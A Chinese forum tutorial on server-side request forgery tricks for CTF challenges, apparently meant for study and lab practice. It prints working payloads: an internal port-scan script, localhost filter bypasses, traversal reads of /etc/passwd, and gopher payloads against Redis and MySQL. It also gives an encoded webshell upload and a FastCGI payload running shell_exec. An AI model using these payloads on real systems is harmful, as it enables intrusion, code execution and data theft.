安全矩阵

 找回密码
 立即注册
搜索
查看: 5539|回复: 0

浅谈ssrf与ctf那些事

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-10-24 09:23:29 | 显示全部楼层 |阅读模式
本帖最后由 gclome 于 2020-10-24 09:25 编辑

原文链接:                浅谈ssrf与ctf那些事
前言
有关SSRF(Server-Side Request Forgery:服务器端请求伪造)介绍的文章很多了,这里主要是把自己学习和打ctf中遇到的一些trick和用法整理和记录一下。
有个最基本的问题就是,如何判断ctf题目是考察SSRF或者说存在SSRF的点呢,首先要知道出现ssrf的函数基本就这几个file_get_contents()、curl()、fsocksopen()、fopen(),如果获取到题目源码了,源码中存在这些个函数就大致可以判断是否有ssrf,如果没有题目的源码,ssrf的入口一般是出现在调用外部资源的地方,比如url有个参数让你传或者是在html中的输入框,然后就用http://,file://,dict://协议读取一下。
举个例子,近日打的西湖论剑有一道题为flagshop中用ssrf读文件


SSRF常见用法探测内网
在CTF中,ssrf最常见的就是探测内网,如果找到了内网IP的网段,可以尝试用暴力破解去探测内网的IP,下面给出几种常见的探测方法。
  • 脚本
这里给出一个通用的python脚本

  1. # -*- coding: utf-8 -*-
  2. import requests
  3. import time
  4. ports = ['80','6379','3306','8080','8000']
  5. session = requests.Session();
  6. for i in range(1, 255):
  7. ip = '192.168.0.%d' % i #内网ip地址
  8. for port in ports:
  9.   url = 'http://ip/?url=http://%s:%s' %(ip,port)
  10.   try:
  11.    res = session.get(url,timeout=3)
  12.    if len(res.text) != 0 :    #这里长度根据实际情况改
  13.     print(ip,port,'is open')
  14.   except:
  15.    continue
  16. print('Done')
复制代码

这里写的是爆破指定的一些端口和IP的D段,注意的是有些题目会给出端口的范围,就可以把ports改为range()指定为一定的范围,然后返回的长度len(res.text)要先自己测一下。

  • burpsuite

可以选择用burpsuite软件中Intruder去爆破,具体过程就不赘述了。

  • nmap工具

扫描目标开放端口,直接用nmap一把梭。

  1. nmap -sV ip
  2. nmap -sV ip -p6379 //指定6379端口扫描
复制代码

练习:可以在CTFHub中技能树->ssrf->端口扫描中尝试一下。

SSRF中的bypass
在ctf中,有时候会ban一些指定的ip,比如127.0.0.1,有时候是检查一整段127.0.0.1,或者是通过正则去匹配逐个字符,这里介绍一下如何去绕过这些WAF。
  • 302跳转
有一个网站地址是:xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,举个例子:
当我们访问:http://127.0.0.1.xip.io/1.php,实际上访问的是http://127.0.0.1/1.php
像这种网址还有nip.io,sslip.io。
如果php后端只是用parse_url函数中的host参数判断是否等于127.0.0.1,就可以用这种方法绕过,但是如果是检查是否存在关键字127.0.0.1,这种方法就不可行了,这里介绍第二种302方法。
短地址跳转绕过,这里也给出一个网址4m.cn

直接用https://4m.cn/FjOdQ就就会302跳转,这样就可以绕过WAF了。
  • 进制的转换
可以使用一些不同的进制替代ip地址,从而绕过WAF,这里给出个php脚本可以一键转换。
  1. <?php
  2. $ip = '127.0.0.1';
  3. $ip = explode('.',$ip);
  4. $r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
  5. if($r < 0) {
  6.     $r += 4294967296;
  7. }
  8. echo "十进制:";
  9. echo $r;
  10. echo "八进制:";
  11. echo decoct($r);
  12. echo "十六进制:";
  13. echo dechex($r);
  14. ?>
复制代码

注意八进制ip前要加上一个0,其中八进制前面的0可以为多个,十六进制前要加上一个0x。



  • 利用DNS解析
如果你自己有域名的话,可以在域名上设置A记录,指向127.0.0.1。


  • 利用@绕过
http://www.baidu.com@127.0.0.1与http://127.0.0.1请求是相同的。
  • 其他各种指向127.0.0.1的地址
  1. 1. http://localhost/
  2. 2. http://0/
  3. 3. http://[0:0:0:0:0:ffff:127.0.0.1]/
  4. 4. http://[::]:80/
  5. 5. http://127。0。0。1/
  6. 6. http://①②⑦.⓪.⓪.①
  7. 7. http://127.1/
  8. 8. http://127.00000.00000.001/
复制代码

第1行localhost就是代指127.0.0.1

第2行中0在window下代表0.0.0.0,而在liunx下代表127.0.0.1

第3行指向127.0.0.1,在liunx下可用,window测试了下不行

第4行指向127.0.0.1,在liunx下可用,window测试了下不行

第5行用中文句号绕过

第6行用的是Enclosed alphanumerics方法绕过,英文字母以及其他一些可以网上找找

第7.8行中0的数量多一点少一点都没影响,最后还是会指向127.0.0.1

不存在协议头绕过

有关file_get_contents()函数的一个trick,可以看作是SSRF的一个黑魔法,当PHP的 file_get_contents() 函数在遇到不认识的伪协议头时候会将伪协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。

例子:

  1. <?php
  2. highlight_file(__FILE__);
  3. if(!preg_match('/^https/is',$_GET['a'])){
  4.     die("no hack");
  5. }
  6. echo file_get_contents($_GET['a']);
  7. ?>
复制代码
此处限制我们只能读https开头的路径,但利用这个特性我们可以构造:
httpsssss://配合目录回退读取文件的两种方式:
  1. httpsssss://../../../../../../etc/passwd
  2. httpsssss://abc../../../../../../etc/passwd
复制代码



这样做的目的就是可以在SSRF的众多协议被ban的情况下来进行读取文件。
在ctf.show月饼杯的web2_故人心就遇到这个点。
URL的解析问题
  • readfile和parse_url解析差异
绕过端口:
我们在phpstudy中写下ssrf.php
  1. <?php
  2. $url = 'http://'. $_GET[url];
  3. $parsed = parse_url($url);
  4. if( $parsed[port] == 80 ){
  5. readfile($url);
  6. } else {
  7.   die('You Shall Not Pass');
  8. }
复制代码

并在使用python在另一个端口起一个服务


在ssrf.php中代码限制parse_url中的port只能等于80,如果我们需要用readfile去读其他端口的文件的话,可以用如下绕过:
  1. http://127.0.0.1/ssrf.php?url=127.0.0.1:11211:80/1.txt
复制代码



可以看到成功读取了11211端口中的1.txt文件,这里借用blackhat的一张图。

可以看出readfile函数获取的端口是前面一部分的,而parse_url则是最后冒号的端口,利用这种差异的不同,从而绕过WAF。
这两个函数在解析host的时候也有差异,如下图

  • curl和parse_url解析差异
从图中可以看到curl解析的是第一个@后面的网址,而parse_url解析的是第二个@的网址。

在极客大挑战有一道题就考了这个点,源码如下:
  1. <?php
  2. highlight_file(__FILE__);
  3. function check_inner_ip($url)
  4. {
  5.     $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
  6.     if (!$match_result)
  7.     {
  8.         die('url fomat error');
  9.     }
  10.     try
  11.     {
  12.         $url_parse=parse_url($url);
  13.     }
  14.     catch(Exception $e)
  15.     {
  16.         die('url fomat error');
  17.         return false;
  18.     }
  19.     $hostname=$url_parse['host'];
  20.     $ip=gethostbyname($hostname);
  21.     $int_ip=ip2long($ip);
  22.     return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
  23. }
  24. function safe_request_url($url)
  25. {
  26.     if (check_inner_ip($url))
  27.     {
  28.         echo $url.' is inner ip';
  29.     }
  30.     else
  31.     {
  32.         $ch = curl_init();
  33.         curl_setopt($ch, CURLOPT_URL, $url);
  34.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  35.         curl_setopt($ch, CURLOPT_HEADER, 0);
  36.         $output = curl_exec($ch);
  37.         $result_info = curl_getinfo($ch);
  38.         if ($result_info['redirect_url'])
  39.         {
  40.             safe_request_url($result_info['redirect_url']);
  41.         }
  42.         curl_close($ch);
  43.         var_dump($output);
  44.     }
  45. }
  46. $url = $_GET['url'];
  47. if(!empty($url)){
  48.     safe_request_url($url);
  49. }
  50. ?>
复制代码

可以看到check_inner_ip 通过 url_parse检测是否为内网ip,如果满足不是内网 ip ,通过 curl 请求 url 返回结果,这题就可以利用curl和parse_url解析的差异不同来绕过,让 parse_url 处理外部网站,最后 curl 请求内网网址。

最后的payload为

  1. http://ip/challenge.php?url=http://@127.0.0.1:80%20@www.baidu.com/flag.php
复制代码

有关URL的解析问题更加详细可参考:https://www.blackhat.com/docs/us ... mming-Languages.pdf

SSRF进阶用法攻击Redis服务

Redis一般都是绑定在6379端口,如果没有设置口令(默认是无),攻击者就可以通过SSRF漏洞未授权访问内网Redis,一般用来写入Crontab定时任务用来反弹shell,或者写入webshell等等。

在CTF题目中如果找到了内网的服务开了6379端口,一般来说就是Redis未授权访问漏洞,并且没有ban掉gopher://,可以用网上的脚本一把梭。这里推荐一个工具gopherus:https://github.com/tarunkant/Gopherus

  • 写入shell

运行命令:

  1. python gopherus.py --exploit redis
复制代码

之后具体操作看图:


首先会让你选择ReverseShell/PHPShell,前者是反弹shell,后者是写入shell,这里我们选择写入shell,然后第二步让你选择默认目录,这里一般选择默认即可,第三步写入要执行的PHP代码。
在有SSRF漏洞的地方输入生成的payload—即gopher://127.0.0.1:6379后面一大段,接下来会在目录下生成shell.php。

要注意的是如果是在html的输入框中直接输入提交就行,但要在浏览器的URL输入的话,一定要记得URL编码一次。
相关例题:[GKCTF2020]EZ三剑客-EzWeb或者CTFHub中技能树->ssrf->redis
  • 反弹shell
对于Redis服务一般还有通过写入定时任务来触发反弹shell的操作,可以使用上面的工具选择ReverseShell也可以一键生成payload

选择ReverseShell,然后写入你要反弹到的VPS的地址,因为这里监听端口工具写好是1234了,所以我们直接在VPS监听nc -lvp 1234即可。
因为我没有在CTF题目中利用过反弹shell这个点,这里就不演示过程了,至于复现过程的话可以在Weblgic靶场复现一下反弹shell,相关的文章讲解也有很多,这里不再赘述了。
攻击Mysql服务
如果内网开启了3306端口,存在没有密码的mysql,则也可以使用gopher协议进行ssrf攻击。
本地复现过程:
先在本地新建一个无密码的用户
  1. CREATE USER 'kawhi'@'localhost';
  2. GRANT ALL ON *.* TO 'kawhi'@'localhost';
复制代码



运行完成之后可以打开phpmyadmin登录看看是否成功,然后这里比较简单的方法也是利用上述工具gopherus。

第一步写入用户的名字,第二步写入要查询的语句,将生成的payload再url编码一次,直接打。


可以看到成功读取到users表的信息,达到了我们mysql未授权访问数据的目的。
这种利用SSRF打mysql也曾经在CTF中出现过:ISITDTU 2018 Friss这道题,题目复现过程可参考:https://xz.aliyun.com/t/2500,这里就不赘述了。

Gopher发送请求SSRF
漏洞是服务端请求伪造攻击,不论是GET或者是POST方法,都是为了达到一个目的,就是让服务端帮我们来执行请求。
那么在CTF中什么情况需要利用到这种方法呢,比如发现了一个内网的应用有上传的功能,我们需要通过POST提交数据,而且Gopher协议没有被ban,我们就可以考虑构造一个请求去打内网,下面先从本地看看如何构造:
通常,我们可以利用gopher://协议可以用来发送Get和Post请求,需要注意的点是要对发送的请求头中的空格和一些特殊字符进行url编码,如果是在URL中提交payload的时侯要再进行一次url编码,先来看看如何发送简单的请求。
  • POST请求
在phpstudy写入1.php
  1. <?php
  2. echo "Hello".$_POST['a'];
复制代码
burpsuite抓包获取请求头,POST包的请求头有很多行,我们用的时候不用全部带上,但是要记得加上Content-Type和Content-Length,当然如果你全部带也是可以的。
  1. POST /1.php HTTP/1.1
  2. Host: 192.168.0.102
  3. Content-Type: application/x-www-form-urlencoded
  4. Content-Length: 7

  5. a=world
复制代码

然后需要对空格和一些特殊字符进行url编码,注意把其中的换行的地方加上%0D%0A,当然手动加肯定是太麻烦了,这里给出一个脚本。

一键编码脚本:

  1. import urllib
  2. import requests
  3. test =\
  4. """POST /1.php HTTP/1.1
  5. Host: 192.168.0.102
  6. Content-Type: application/x-www-form-urlencoded
  7. Content-Length: 7

  8. a=world
  9. """
  10. tmp = urllib.parse.quote(test)
  11. new = tmp.replace('%0A','%0D%0A')
  12. result = '_'+new
  13. print(result)
复制代码
在里面加上你的请求体运行,然后我们在输出结果前面手动加上gopher协议头和IP:端口,最终为:
  1. gopher://192.168.0.102:80/_POST%20/1.php%20HTTP/1.1%0D%0AHost%3A%20192.168.0.102%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%207%0D%0A%0D%0Aa%3Dworld%0D%0A
复制代码

然后用curl命令发出我们的请求,可以看到成功获取响应包了。


需要注意的是,如果要在url传入的话需要将发送的POST后面一大串再url编码一次,比如,我们在phpstudy写入一个有ssrf漏洞的ssrf.php
  1. <?php
  2. function curl($url){
  3.   //创建一个新的curl资源
  4.   $ch = curl_init();
  5.   //设置URL和相应的选项
  6.   curl_setopt($ch,CURLOPT_URL,$url);
  7.   curl_setopt($ch,CURLOPT_HEADER,false);
  8.   //抓取URL并把它传递给浏览器
  9.   curl_exec($ch);
  10.   //关闭curl资源,并且释放系统资源
  11.   curl_close($ch);
  12. }
  13. $url = $_GET['url'];
  14. curl($url);
  15. ?>
复制代码

直接我们上面的payload传入url,会发现没回显。



把gopher协议全部再url编码一遍就可以成功回显。



  • GET请求:
GET请求发送和POST请求基本一样,这里就不再赘述了。
相关例题:2020强网杯half_infiltration
通过前面一系列操作获得ssrf.php
  1. <?php
  2. //经过扫描确认35000以下端口以及50000以上端口不存在任何内网服务,请继续渗透内网
  3.     $url = $_GET['we_have_done_ssrf_here_could_you_help_to_continue_it'] ?? false;
  4.     if(preg_match("/flag|var|apache|conf|proc|log/i" ,$url)){
  5.         die("");
  6.     }
  7.     if($url)
  8.     {
  9.             $ch = curl_init();
  10.             curl_setopt($ch, CURLOPT_URL, $url);
  11.             curl_setopt($ch, CURLOPT_HEADER, 1);
  12.             curl_exec($ch);
  13.             curl_close($ch);
  14.      }
  15. ?>  
复制代码

跑端口40000跑出来个登录框,然后有上传功能,参数file和content是上传文件

于是用gopher协议发送一个POST请求写马,payload如下:

  1. gopher://127.0.0.1:40000/_POST /index.php HTTP/1.1
  2. Host: 127.0.0.1
  3. Cookie: PHPSESSID=bv2afbkkbbpgkio8tjmai40ob7
  4. Content-Length: 174
  5. Content-Type: application/x-www-form-urlencoded
  6. Connection: close

  7. file=php://filter/%2577rite=string.rot13|convert.Base64-decode|convert.iconv.utf-7.utf-8/resource=1.php&content=K0FEdz9waHAgZXZhbCgrQUNRQVh3LUdFVCtBRnMtMCtBRjApK0FEcz8rQUQ0LQ
复制代码

最后payload如下,传入参数需要注意二次url编码:
  1. http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=gopher://127.0.0.1:40000/_POST%2520/index.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250ACookie%253A%2520PHPSESSID%253Dbv2afbkkbbpgkio8tjmai40ob7%250AContent-Length%253A%2520174%250AContent-Type%253A%2520application/x-www-form-urlencoded%250AConnection%253A%2520close%250d%250A%250Afile%253Dphp%253A//filter/%25252577rite%253Dstring.rot13%257Cconvert.Base64-decode%257Cconvert.iconv.utf-7.utf-8/resource%253D1.php%2526content%253DK0FEdz9waHAgZXZhbCgrQUNRQVh3LUdFVCtBRnMtMCtBRjApK0FEcz8rQUQ0LQ
复制代码

PHP-FPM攻击
首先,PHP-FPM是实现和管理FastCGI的进程,是一个FastCGI协议解析器,而Fastcgi本质是一个通信协议,类似于HTTP,都是进行数据交换的一个通道,通信过程如下:
TCP模式下在本机监听一个端口(默认为9000),Nginx把客户端数据通过FastCGI协议传给9000端口,PHP-FPM拿到数据后会调用CGI进程解析。
而PHP-FPM攻击是通过伪造FastCGI协议包实现PHP代码执行,我们可以通过更改配置信息来执行任意代码。php中有两个非常有趣的配置项,(想了解更多关于php配置项,可以看我之前写的一篇文章:CTF中.htaccess文件的利用),分别为auto_prepend_file和auto_append_file,这两个配置项是使得php在执行目标文件之前,先包含配置项中指定的文件,如果我们把auto_prepend_file或auto_append_file的值设定为php://input,就能包含进POST提交的数据。
但是这里有个问题就是php://input需要开启allow_url_include,这里可以利用PHP_ADMIN_VALUE,上一篇说到PHP_ADMIN_VALUE不可以利用在.htaccess,但是FastCGI协议中PHP_ADMIN_VALUE却用来可以修改大部分的配置,我们利用PHP_ADMIN_VALUE把allow_url_include修改为True。
复现过程如下:
第一步:
现在liunx下启动一个监听并指定写入1.txt。


第二步:
这里使用P神写好的一个exp

  1. https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
复制代码
把代码保存为python文件,我这里为1.py,运行并-c写入要执行的php代码
  1. python 1.py -c "<?php var_dump(shell_exec('uname -a'));?>" -p 9000 127.0.0.1 /usr/local/lib/php/PEAR.php
复制代码




然后会生成一个1.txt文件
第三步:
将生成的1.txt文件双url编码,老生常谈,因为要在浏览器url输入必须要再编码一次,这里直接给出脚本,脚本我顺便加上了gopher协议等等可以直接打,如果题目ip不同可以自行更改。

  1. import urllib.parse
  2. f = open(r'1.txt','rb')
  3. s = f.read()
  4. s = urllib.parse.quote(s)
  5. s = urllib.parse.quote(s)
  6. print("gopher://127.0.0.1:9000/_"+s)
复制代码
运行得到
  1. gopher://127.0.0.1:9000/_%2501%2501E%25D3%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504E%25D3%2501%25E7%2500%2500%250E%2502CONTENT_LENGTH41%250C%2510CONTENT_TYPEapplication/text%250B%2504REMOTE_PORT9985%250B%2509SERVER_NAMElocalhost%2511%250BGATEWAY_INTERFACEFastCGI/1.0%250F%250ESERVER_SOFTWAREphp/fcgiclient%250B%2509REMOTE_ADDR127.0.0.1%250F%251BSCRIPT_FILENAME/usr/local/lib/php/PEAR.php%250B%251BSCRIPT_NAME/usr/local/lib/php/PEAR.php%2509%251FPHP_VALUEauto_prepend_file%2520%253D%2520php%253A//input%250E%2504REQUEST_METHODPOST%250B%2502SERVER_PORT80%250F%2508SERVER_PROTOCOLHTTP/1.1%250C%2500QUERY_STRING%250F%2516PHP_ADMIN_VALUEallow_url_include%2520%253D%2520On%250D%2501DOCUMENT_ROOT/%250B%2509SERVER_ADDR127.0.0.1%250B%251BREQUEST_URI/usr/local/lib/php/PEAR.php%2501%2504E%25D3%2500%2500%2500%2500%2501%2505E%25D3%2500%2529%2500%2500%253C%253Fphp%2520var_dump%2528shell_exec%2528%2527uname%2520-a%2527%2529%2529%253B%253F%253E%2501%2505E%25D3%2500%2500%2500%2500
复制代码
这里我在CTFhub的FastCGI环境直接打了,当然本地也是可以的,可以看到我们下面的PHP代码成功包含并执行了。
  1. <?php var_dump(shell_exec('uname -a'));?>
复制代码



DNS-rebinding

有时候ssrf的过滤中会出现这种情况,通过对传入的url提取出host地址,然后进行dns解析,获取ip地址,然后对ip地址进行检验,如果合法再利用curl请求的时候会发起第二次请求。
DNS-rebinding就是利用第一次请求的时候解析的是合法的地址,而第二次解析的时候是恶意的地址,这个技术已经被广泛用于bypass同源策略,绕过ssrf的过滤等等。
利用过程:
首先需要拥有一个域名,然后添加两条记录类型为A的域名解析,一条的记录值为127.0.0.1,另一条随便写个外网地址即可

但是这种方法是随机解析的,所以只有在第一次解析出来是个外网ip,第二次解析出来是个内网ip才能成功,也就是说成功的概率为1/4。
这里我在CTFhub的DNS重绑定实验下直接演示:


如果没有域名的话,可以去平台http://ceye.io/上的dns rebinding工具,利用过程如下:
在profile下添加内网地址


这样的话是会随机返回地址的,也能完成DNS-rebinding攻击

关于更多的DNS-rebinding攻击利用方法见参考链接
总结

在ctf中ssrf一般不会单独出题,大多数情况下是作为其中一个利用点,知识点看起来就那几个,总结起来还挺多的,由于水平有限,本篇可能还有一些点没有提到,比如赵总最近写了一个ssrf新的利用方法:https://www.zhaoj.in/read-6681.html,有兴趣可以看看。
参考链接
  1. https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
  2. http://www.bendawang.site/2017/05/31/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93/
复制代码

相关实验(点击阅读原文做实验
  • SSRF漏洞分析与实践
  • https://www.hetianlab.com/expc.do?ec=ECID725a-bf5b-43a5-a0d8-21cdb973983f&pk_campaign=weixin-wemedia
  • (SSRF(server-side request forge,服务端请求伪造),是攻击者让服务端发起构造的指定请求链接造成的漏洞。通过该实验了解SSRF漏洞的基础知识及演示实践。)





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 12:20 , Processed in 0.017089 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表